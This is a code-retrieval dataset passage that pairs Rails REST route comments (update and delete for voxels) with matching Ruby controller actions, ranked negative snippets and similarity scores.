query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
listlengths 0
101
| negative_scores
listlengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
|---|---|---|---|---|---|---|
PATCH/PUT /voxels/1 PATCH/PUT /voxels/1.json
|
def update
respond_to do |format|
if @voxel.update(voxel_params)
format.html { redirect_to @voxel, notice: '更新されました!' }
format.json { head :no_content }
else
format.html { render action: 'edit' }
format.json { render json: @voxel.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def UpdateView params = {}\n \n APICall(path: 'views.json',method: 'PUT',payload: params.to_json)\n \n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n @vet = Vet.find(params[:id])\n\n respond_to do |format|\n if @vet.update_attributes(params[:vet])\n format.html { redirect_to @vet, notice: 'Vet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @vet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @voxel = Voxel.find(params[:id])\n \n respond_to do |format|\n if @voxel.update_attributes(params[:voxel])\n format.html { redirect_to @voxel, notice: 'Voxel was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @voxel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def put!\n request! :put\n end",
"def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n respond_to do |format|\n if @vechicle.update(vechicle_params)\n format.html { redirect_to @vechicle, notice: 'Vechicle was successfully updated.' }\n format.json { render :show, status: :ok, location: @vechicle }\n else\n format.html { render :edit }\n format.json { render json: @vechicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vet.update(vet_params)\n format.html { redirect_to @vet, notice: 'Vet was successfully updated.' }\n format.json { render :show, status: :ok, location: @vet }\n else\n format.html { render :edit }\n format.json { render json: @vet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vinyl.update(vinyl_params)\n format.html { redirect_to @vinyl, notice: 'Vinyl was successfully updated.' }\n format.json { render :show, status: :ok, location: @vinyl }\n else\n format.html { render :edit }\n format.json { render json: @vinyl.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @vessel = Vessel.find(params[:id])\n\n respond_to do |format|\n if @vessel.update_attributes(params[:vessel])\n format.html { redirect_to @vessel, notice: 'Vessel was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @vessel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update\n if @vat.update(vat_params)\n head :no_content\n else\n render json: @vat.errors, status: :unprocessable_entity\n end\n end",
"def update\n @api_v1_post_vote = PostVote.find(params[:id])\n\n respond_to do |format|\n if @api_v1_post_vote.update_attributes(params[:api_v1_post_vote])\n format.html { redirect_to @api_v1_post_vote, notice: 'Post vote was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @api_v1_post_vote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n if @veiculo.update_attributes(params[:veiculo])\n format.html { redirect_to @veiculo, :notice => 'Veiculo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @veiculo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vuelo.update(vuelo_params)\n format.html { redirect_to @vuelo, notice: 'Vuelo was successfully updated.' }\n format.json { render :show, status: :ok, location: @vuelo }\n else\n format.html { render :edit }\n format.json { render json: @vuelo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vegetable.update(vegetable_params)\n format.html { redirect_to @vegetable, notice: 'Vegetable was successfully updated.' }\n format.json { render :show, status: :ok, location: @vegetable }\n else\n format.html { render :edit }\n format.json { render json: @vegetable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n respond_to do |format|\n if @vod.update(vod_params)\n format.html { redirect_to @vod, notice: 'Vod was successfully updated.' }\n format.json { render :show, status: :ok, location: @vod }\n else\n format.html { render :edit }\n format.json { render json: @vod.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vibe.update(vibe_params)\n format.html { redirect_to @vibe, notice: 'Vibe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @vibe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def update\n if @spice.update(spice_params)\n head :no_content\n else\n render json: @spice.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @offer.update(offers_params)\n format.jsonapi { render :show, status: :ok, location: @offer }\n else\n format.jsonapi { render jsonapi: @offer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @vegetable = Vegetable.find(params[:id])\n\n respond_to do |format|\n if @vegetable.update_attributes(params[:vegetable])\n format.html { redirect_to(@vegetable, :notice => 'Vegetable was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vegetable.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @officev.update(officev_params)\n set_me\n format.html { redirect_to @officev, notice: 'Officev was successfully updated.' }\n format.json { render :show, status: :ok, location: @officev }\n else\n format.html { render :edit }\n format.json { render json: @officev.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @vocalium = Vocalium.find(params[:id])\n\n respond_to do |format|\n if @vocalium.update_attributes(params[:vocalium])\n format.html { redirect_to @vocalium, :notice => 'Vocalium was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @vocalium.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vip.update(vip_params)\n format.html { redirect_to @vip, notice: 'Vip was successfully updated.' }\n format.json { render :show, status: :ok, location: @vip }\n else\n format.html { render :edit }\n format.json { render json: @vip.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @videoo.update(videoo_params)\n format.html { redirect_to @videoo, notice: 'Videoo was successfully updated.' }\n format.json { render :show, status: :ok, location: @videoo }\n else\n format.html { render :edit }\n format.json { render json: @videoo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def update\n respond_to do |format|\n if @vegetal.update(vegetal_params)\n format.html { redirect_to @vegetal, notice: 'Vegetal was successfully updated.' }\n format.json { render :show, status: :ok, location: @vegetal }\n else\n format.html { render :edit }\n format.json { render json: @vegetal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(&block)\n validate_request()\n\n # Params includes all of the PATCH data at the top level along with other\n # other Rails-injected params like 'id', 'action', 'controller'. These\n # are harmless given no namespace collision and we're only interested in\n # the 'Operations' key for the actual patch data.\n #\n render(json: yield(self.safe_params()[:id], self.safe_params().to_hash()))\n end",
"def update\n respond_to do |format|\n\n format.json { render json: Axis.find(params[:id]).update( name: params[:name]) }\n end\n\n # end\n end",
"def update\n @voprosy = Voprosy.find(params[:id])\n\n respond_to do |format|\n if @voprosy.update_attributes(params[:voprosy])\n format.html { redirect_to @voprosy, notice: 'Voprosy was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @voprosy.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tags_of_novel = TagsOfNovel.find(params[:id])\n\n respond_to do |format|\n if @tags_of_novel.update_attributes(params[:tags_of_novel])\n format.html { redirect_to @tags_of_novel, notice: 'Tags of novel was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tags_of_novel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @voc = Voc.find(params[:id])\n @voc.user_id = current_user.id\n respond_to do |format|\n if @voc.update_attributes(params[:voc])\n format.html { redirect_to @voc, notice: 'Voc was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @voc.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n if @api_v1_item.update(api_v1_item_params)\n render json: @api_v1_item\n else\n render json: @api_v1_item.errors\n end\n end",
"def update\n respond_to do |format|\n format.xml { head :method_not_allowed }\n format.json { head :method_not_allowed }\n end\n end",
"def update\n @vehicel = @user.vehicels.find(params[:id])\n respond_to do |format|\n if @vehicel.update(vehicel_params)\n format.html { redirect_to user_vehicels_path(@user), notice: 'Vehicel was successfully updated.' }\n format.json { render :show, status: :ok, location: @vehicel }\n else\n format.html { render :edit }\n format.json { render json: @vehicel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @velement.update(velement_params)\n format.html { redirect_to @velement, notice: 'Velement was successfully updated.' }\n format.json { render :show, status: :ok, location: @velement }\n else\n format.html { render :edit }\n format.json { render json: @velement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n put :update\n end",
"def update\n #Finding the specific chore where the id matches the one we pass in with the body\n @v1_chore = Chore.where(id: params[:id]).first\n #Here we're checking if we have user_id in our body, and if we do, we'll change the selected chore's properties\n #with the parameters of the body, we go through the specific group to our specific chore with the path\n if v1_chore_params[:user_id]\n @v1_chore.user_id = params[:user_id]\n @v1_chore.assigned = true\n if @v1_chore.save\n render :show, status: :ok\n end\n else\n render json: @v1_chore.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_with []\n end",
"def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end",
"def update\n respond_to do |format|\n if @api_v1_todo.update(api_v1_todo_params)\n format.json { render json: @api_v1_todo, status: :ok }\n else\n format.json { render json: @api_v1_todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @lov.update(lov_params)\n format.html { redirect_to @lov, notice: 'Lov was successfully updated.' }\n format.json { render :show, status: :ok, location: @lov }\n else\n format.html { render :edit }\n format.json { render json: @lov.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @api_version = ApiVersion.find(params[:id])\n\n respond_to do |format|\n if @api_version.update_attributes(params[:api_version])\n format.html { redirect_to admin_api_versions_path, flash: {success: t('app.msgs.success_updated', :obj => t('mongoid.models.api_version.one'))} }\n format.json { head :no_content }\n else\n set_tabbed_translation_form_settings('advanced')\n format.html { render action: \"edit\" }\n format.json { render json: @api_version.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vehicle.update(vehicle_params)\n format.html { redirect_to @vehicle, notice: 'Vehicle was successfully updated.' }\n format.json { render :show, status: :ok, location: @vehicle }\n put_request\n else\n format.html { render :edit }\n format.json { render json: @vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lens = Lens.find(params[:id])\n attrb = select_params(lens_params)\n # linear_data is an array of Objects of Components Properties\n # that needs to be deserialized correctly\n attrb[\"linear_data\"] = JSON.parse(attrb[\"linear_data\"])\n lens = Lens.update(attrb)\n \n # @lens.update(lens_params)\n # render inline: \"<%= @lens.id %>\"\n end",
"def update\n respond_to do |format|\n if @api_v1_resource.update(api_v1_resource_params)\n format.html { redirect_to @api_v1_resource, notice: 'Resource was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_resource }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @vouch = Vouch.find(params[:id])\n\n if current_user.id == @vouch.grantor_id\n case params[:commit]\n when \"Approve\"\n @vouch.confirm \n when \"Pending\"\n @vouch.pending\n when \"Deny\"\n @vouch.reject\n end\n end\n\n respond_to do |format|\n if @vouch.save\n format.js { render :action => \"update\", :content_type => 'text/javascript'}\n format.html { redirect_to polymorphic_path([parent,Vouch.new]), :notice => 'Vouch was successfully updated.' }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vouch.errors, :status => :unprocessable_entity }\n format.js { render :partial => @vouch, :layout => false }\n end\n end\n end",
"def update\n @elector = Elector.find(params[:id])\n\n if @elector.update(elector_params)\n head :no_content\n else\n render json: @elector.errors, status: :unprocessable_entity\n end\n end",
"def update(data = :object || :json)\n end",
"def update\n @livro = Livro.find(params[:id])\n\n respond_to do |format|\n if @livro.update_attributes(params[:livro])\n format.html { redirect_to @livro, :notice => 'Livro was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @livro.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @curriculum_vitae.update(curriculum_vitae_params)\n format.html { redirect_to @curriculum_vitae, notice: I18n.t('controllers.curriculum_vitaes.update.success') }\n format.json { render :show, status: :ok, location: @curriculum_vitae }\n else\n format.html { render :edit }\n format.json { render json: @curriculum_vitae.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @responsavel = Responsavel.find(params[:id])\n\n if @responsavel.update(responsavel_params)\n head :no_content\n else\n render json: @responsavel.errors, status: :unprocessable_entity\n end\n end",
"def update\n @vano = Vano.find(params[:id])\n\n respond_to do |format|\n if @vano.update_attributes(params[:vano])\n format.html { redirect_to @vano, notice: 'Vano was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @vano.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @objeto.update(objeto_params)\n format.html { redirect_to @objeto, notice: 'Objeto was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @objeto.update(objeto_params)\n format.html { redirect_to @objeto, notice: 'Objeto was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @velocity.update(velocity_params)\n format.html { redirect_to @velocity.chart, notice: 'Velocity was successfully updated.' }\n format.json { render :show, status: :ok, location: @velocity.chart }\n else\n format.html { render :edit }\n format.json { render json: @velocity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vano.update(vano_params)\n format.html { redirect_to @vano, notice: 'Vano was successfully updated.' }\n format.json { render :show, status: :ok, location: @vano }\n else\n format.html { render :edit }\n format.json { render json: @vano.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_exercise.update(api_v1_exercise_params)\n format.html { redirect_to @api_v1_exercise, notice: 'Exercise was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_exercise }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_exercise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ovode = Ovode.find_by_url(params[:id])\n\n respond_to do |format|\n if @ovode.update_attributes(params[:ovode])\n format.html { redirect_to @ovode, notice: 'ovode was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ovode.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @venta = Venta.find(params[:id])\n\n respond_to do |format|\n if @venta.update_attributes(params[:venta])\n format.html { redirect_to @venta, notice: 'Venta was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @venta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vice.update(vice_params)\n format.html { redirect_to @vice, notice: 'Vice was successfully updated.' }\n format.json { render :show, status: :ok, location: @vice }\n else\n format.html { render :edit }\n format.json { render json: @vice.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n# @eversion = Eversion.find(params[:id])\n @eversion = Eversion.find(params[:magazine_id]).eversion\n# return render :text => \"The object is: #{params.to_yaml}\"\n \n respond_to do |format|\n if @eversion.update_attributes(params[:eversion])\n format.html { redirect_to([:admin, @eversion], :notice => 'Eversion was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @eversion.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipoenvolvido.update(tipoenvolvido_params)\n format.html { redirect_to @tipoenvolvido, notice: 'Tipoenvolvido was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tipoenvolvido.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @vampire = Vampire.find(params[:id])\n\n respond_to do |format|\n if @vampire.update_attributes(params[:vampire])\n format.html { redirect_to @vampire, notice: 'Vampire was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @vampire.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @vodka = Vodka.find(params[:id])\n\n respond_to do |format|\n if @vodka.update_attributes(params[:vodka])\n format.html { redirect_to @vodka, notice: 'Vodka was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @vodka.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, body_params = {})\n debug_log \"PATCH #{@host}#{path} body:#{body_params}\"\n headers = { 'Content-Type' => 'application/json' }\n res = connection.run_request :put, path, body_params.to_json, headers\n debug_log \"Response status:#{res.status}, body:#{res.body}\"\n res\n end",
"def update\n @planets_exoplanet = Planets::Exoplanet.find(params[:id])\n\n respond_to do |format|\n if @planets_exoplanet.update_attributes(params[:planets_exoplanet])\n format.html { redirect_to @planets_exoplanet, :notice => 'Exoplanet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @planets_exoplanet.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vcat.update(vcat_params)\n format.html { redirect_to @vcat, notice: 'Vcat was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @vcat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def rm_update path, data, msg\n\n re = rm_request path, data, 'PUT'\n puts re.body\n chk (re.code!='200'), msg + \"\\n#{re.code} #{re.msg}\\n\\n\"\n return true\n\nend",
"def update_by_body\n @person = Person.find(person_update_params[:id])\n\n if @person.update_attributes(person_update_params)\n render json: { status: 'PUT Success' }, status: :ok\n else\n render json: { status: 'Error', message:'Error updating person', person: @person.errors }, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @voucher.update(voucher_params)\n format.html { redirect_to @voucher, notice: 'Voucher was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @voucher.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @voucher = Voucher.find(params[:id])\n\n respond_to do |format|\n if @voucher.update_attributes(params[:voucher])\n format.html { redirect_to @voucher, notice: 'Voucher was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @voucher.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vehicle.update(vehicle_params)\n format.html { redirect_to vehicles_url, notice: 'Vehicle was successfully updated.' }\n format.json { render :show, status: :ok, location: @vehcile }\n else\n format.html { render :edit }\n format.json { render json: @vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(url, payload, headers={})\n RestClient.patch url, payload, headers\n end",
"def update\n respond_to do |format|\n if @relatorio_plano_de_voo.update(relatorio_plano_de_voo_params)\n format.html { redirect_to @relatorio_plano_de_voo, notice: 'Relatorio plano de voo was successfully updated.' }\n format.json { render :show, status: :ok, location: @relatorio_plano_de_voo }\n else\n format.html { render :edit }\n format.json { render json: @relatorio_plano_de_voo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def activo_update\n respond_to do |format|\n activo = params[:producto][:activo]\n id = params[:id]\n Producto.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end",
"def patch(path, opts = {})\n request(:patch, path, opts).body\n end",
"def update\n respond_to do |format|\n if @epreuve.update(epreuve_params)\n format.html { redirect_to epreuves_path, alert: 'Vos modifications ont bien été prises en compte.' }\n format.json { render :show, status: :ok, location: epreuves_path }\n else\n format.html { render :index }\n format.json { render json: @epreuve.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vil.update(vil_params)\n format.html { redirect_to @vil, notice: 'Vil was successfully updated.' }\n format.json { render :show, status: :ok, location: @vil }\n else\n format.html { render :edit }\n format.json { render json: @vil.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @voter = Voter.find(params[:id])\n\n respond_to do |format|\n if @voter.update_attributes(params[:voter])\n format.html { redirect_to @voter, notice: 'Voter was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @voter.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :manage, @vspec\n\n respond_to do |format|\n if @vspec.update(vspec_params)\n format.html { redirect_to [@vspec.metric, @vspec], notice: 'Vspec was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @vspec.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @fleet.update(fleet_params)\n format.html { redirect_to @fleet, notice: 'Fleet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @fleet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @kv = Kv.find(params[:id])\n\n respond_to do |format|\n if @kv.update_attributes(params[:kv])\n format.html { redirect_to @kv, notice: 'Kv was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @kv.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @verb = Verb.find(params[:id])\n\n if @verb.update(verb_params)\n head :no_content\n else\n render json: @verb.errors, status: :unprocessable_entity\n end\n end",
"def update\n @voivodship_committee = VoivodshipCommittee.find(params[:id])\n\n respond_to do |format|\n if @voivodship_committee.update_attributes(params[:voivodship_committee])\n format.html { redirect_to @voivodship_committee, notice: 'Voivodship committee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @voivodship_committee.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(*args)\n request :put, *args\n end",
"def update\n\n if @vineyard.user == current_user\n if @vineyard.update(vineyard_params)\n render json: @vineyard\n else\n render json: @vineyard.errors, status: :unprocessable_entity\n end\n else\n render json: { errors: [\"Unauthorized\"] }, status: 401\n end\n end",
"def update\n respond_to do |format|\n if @voucher.update(voucher_params)\n format.html { redirect_to action: 'show', notice: 'Voucher was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @voucher.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6319824",
"0.629349",
"0.620486",
"0.6195176",
"0.61831194",
"0.6129363",
"0.6086929",
"0.60802126",
"0.6016513",
"0.60130984",
"0.6004715",
"0.5964108",
"0.59194165",
"0.5908215",
"0.58942336",
"0.5890327",
"0.58757985",
"0.5872654",
"0.5862779",
"0.5834108",
"0.5830178",
"0.5808981",
"0.58059454",
"0.58005065",
"0.57837284",
"0.57837284",
"0.57790655",
"0.5778234",
"0.5763627",
"0.5753746",
"0.57469445",
"0.57467884",
"0.57465607",
"0.5741631",
"0.5732309",
"0.5732309",
"0.57243305",
"0.57226944",
"0.5688744",
"0.56617916",
"0.5660584",
"0.56528527",
"0.5637556",
"0.563493",
"0.5630539",
"0.56304854",
"0.56138396",
"0.5611178",
"0.5610926",
"0.5609116",
"0.5602611",
"0.559965",
"0.5570032",
"0.5567194",
"0.556069",
"0.55599195",
"0.55566597",
"0.55560416",
"0.55517924",
"0.5548579",
"0.5548045",
"0.55472094",
"0.5543703",
"0.5543006",
"0.5543006",
"0.5540811",
"0.5540219",
"0.5538253",
"0.5537639",
"0.5535185",
"0.55241036",
"0.5522376",
"0.5522079",
"0.55217075",
"0.55091214",
"0.55004346",
"0.5500195",
"0.5496983",
"0.54961085",
"0.54961085",
"0.5494895",
"0.54919904",
"0.5491812",
"0.5488877",
"0.54882854",
"0.5487873",
"0.5484377",
"0.54787576",
"0.54782313",
"0.547797",
"0.5477003",
"0.5475364",
"0.5472714",
"0.5470813",
"0.5470598",
"0.54702437",
"0.5468454",
"0.5467175",
"0.5466542",
"0.5464947"
] |
0.6181121
|
5
|
DELETE /voxels/1 DELETE /voxels/1.json
|
def destroy
@voxel.destroy
respond_to do |format|
format.html { redirect_to voxels_url }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @voxel = Voxel.find(params[:id])\n @voxel.destroy\n \n respond_to do |format|\n format.html { redirect_to voxels_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vet = Vet.find(params[:id])\n @vet.destroy\n\n respond_to do |format|\n format.html { redirect_to vets_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @vechicle.destroy\n respond_to do |format|\n format.html { redirect_to vechicles_url, notice: 'Vechicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vocalium = Vocalium.find(params[:id])\n @vocalium.destroy\n\n respond_to do |format|\n format.html { redirect_to vocalia_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @voc = Voc.find(params[:id])\n @voc.destroy\n\n respond_to do |format|\n format.html { redirect_to vocs_url }\n format.json { head :no_content }\n end\n end",
"def delete(vmname)\n uri = @uri + \"/#{vmname}?api-version=#{api_version}\"\n uri\n end",
"def destroy\n @vet.destroy\n respond_to do |format|\n format.html { redirect_to vets_url, notice: 'Vet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vod.destroy\n respond_to do |format|\n format.html { redirect_to vods_url, notice: 'Vod was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vessel = Vessel.find(params[:id])\n @vessel.destroy\n\n respond_to do |format|\n format.html { redirect_to vessels_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vibe.destroy\n respond_to do |format|\n format.html { redirect_to vibes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ovode = Ovode.find_by_url(params[:id])\n @ovode.destroy\n\n respond_to do |format|\n format.html { redirect_to ovodes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @voprosy = Voprosy.find(params[:id])\n @voprosy.destroy\n\n respond_to do |format|\n format.html { redirect_to voprosies_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @voucher.destroy\n respond_to do |format|\n format.html { redirect_to vouchers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @voucher.destroy\n respond_to do |format|\n format.html { redirect_to vouchers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @venta = Venta.find(params[:id])\n @venta.destroy\n\n respond_to do |format|\n format.html { redirect_to ventas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @veiculo = Veiculo.find(params[:id])\n @veiculo.destroy\n\n respond_to do |format|\n format.html { redirect_to veiculos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vampire = Vampire.find(params[:id])\n @vampire.destroy\n\n respond_to do |format|\n format.html { redirect_to vampires_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vegetable = Vegetable.find(params[:id])\n @vegetable.destroy\n\n respond_to do |format|\n format.html { redirect_to vegetables_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vachana = Vachana.find(params[:id])\n @vachana.destroy\n\n respond_to do |format|\n format.html { redirect_to vachanas_url }\n format.json { head :no_content }\n end\n end",
